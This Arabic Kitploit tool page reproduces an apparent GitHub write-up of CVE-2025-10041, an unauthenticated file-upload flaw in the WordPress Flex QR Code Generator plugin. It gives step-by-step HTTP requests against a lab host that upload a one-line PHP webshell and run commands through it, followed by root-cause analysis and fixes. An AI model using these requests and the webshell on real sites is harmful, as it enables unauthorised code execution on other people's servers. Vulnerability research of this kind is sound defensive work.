Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — تحليل تقني واستغلال إثبات المفهوم لـ CVE-2025-10041، وهو رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في إضافة WordPress Flex QR Code Generator. | Kitploit
أدوات/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

تحليل تقني واستغلال إثبات المفهوم لـ CVE-2025-10041، وهو رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في إضافة WordPress Flex QR Code Generator.

عرض المستودع
منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-10041: تحليل ثغرة رفع الملفات التعسفي في إضافة Flex QR Code Generator


1. نظرة عامة على الثغرة

  • اسم الإضافة: Flex QR Code Generator
  • الإصدارات المتأثرة: ≤ 1.2.5 (جميع الإصدارات)
  • نوع الثغرة: رفع ملفات تعسفي ← تنفيذ كود عن بُعد (RCE)
  • شروط الاستغلال: لا يتطلب تسجيل دخول، وصول غير مصرح به
  • السبب الجذري: وظيفة رفع الملفات لا تتحقق من الامتداد أو نوع MIME، والواجهة قابلة للاستدعاء من قبل مستخدمين غير مصادقين.

2. إعادة إنتاج الثغرة

  • No1 تسريب المعلومات + تنفيذ RCE عبر خطاف التحديث:

1. نظرة سريعة على سلسلة الهجوم

root@kitploit:~
الحصول على ID بدون تصريح ← استدعاء واجهة التحديث لرفع ملف PHP ← الوصول إلى webshell ← RCE

2. الخطوة الأولى: تسريب المعلومات للحصول على ID

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

يمكن الحصول على id صالح (مثل 9) ومسار logo_url من الاستجابة.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. الخطوة الثانية: تحديث ورفع WebShell

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ استجابة success: true تعني نجاح الرفع.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. الخطوة الثالثة: الوصول إلى ملف الاختبار

صيغة مسار الملف: {original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

يعيد الخادم محتوى الملف

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 رفع ملفات غير مصرح به + تنفيذ RCE:

1. نظرة سريعة على سلسلة الهجوم

root@kitploit:~
الوصول غير المصرح به إلى الواجهة لرفع ملف خبيث ← الوصول إلى webshell ← RCE

2. الخطوة الأولى: رفع ملف خبيث عبر الواجهة

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

يمكن الحصول على id صالح (مثل 10) ونتيجة success من الاستجابة

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. الخطوة الثالثة: الوصول إلى WEBSHELL لتنفيذ الأوامر

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ يعيد الخادم نتيجة تنفيذ الأمر، ونجح RCE.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

3. مبدأ الثغرة

1. الدوال المصابة

  • الملف: flex-qr-code-generator/qr-code-generator.php
  • الدوال: save_qr_code_to_db() و update_qr_code()

2. العيوب الرئيسية

  • يتحقق فقط من $_FILES['logo']['error'] === UPLOAD_ERR_OK
  • لا يتحقق من امتداد الملف أو نوع MIME
  • اسم الملف قابل للتحكم: {original_name}_{id}.ext، وid هو مفتاح أساسي تلقائي الزيادة

3. الاستدعاء غير المصرح به

مسجلة عبر خطافات wp_ajax_nopriv_، ويمكن الوصول إلى الواجهة من قبل مستخدمين غير مسجلين:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv تعني "بدون متطلبات صلاحيات"، ويمكن للمهاجم استدعاءها دون تسجيل الدخول.


4. توصيات الإصلاح

الإجراءالوصف
✅ التحكم في الصلاحياتإزالة خطافات nopriv، والسماح للمسؤولين فقط بالاستدعاء
✅ التحقق من نوع الملفقائمة بيضاء لتقييد الامتدادات (مثل jpg/png/gif)
✅ منع تنفيذ PHPمنع تنفيذ PHP في ملف uploads/.htaccess
✅ إعادة تسمية الملفاتاستخدام أسماء ملفات عشوائية لتجنب التخمين
✅ ترقية الإضافةمتابعة التحديثات الرسمية والترقية في الوقت المناسب

إخلاء المسؤولية

هذا المقال لأغراض البحث الأمني والتعليم فقط، ويُحظر إجراء اختبارات الاختراق أو الهجمات غير المصرح بها. يجب على المستخدمين الالتزام بالقوانين واللوائح ذات الصلة.

تنزيل الأداة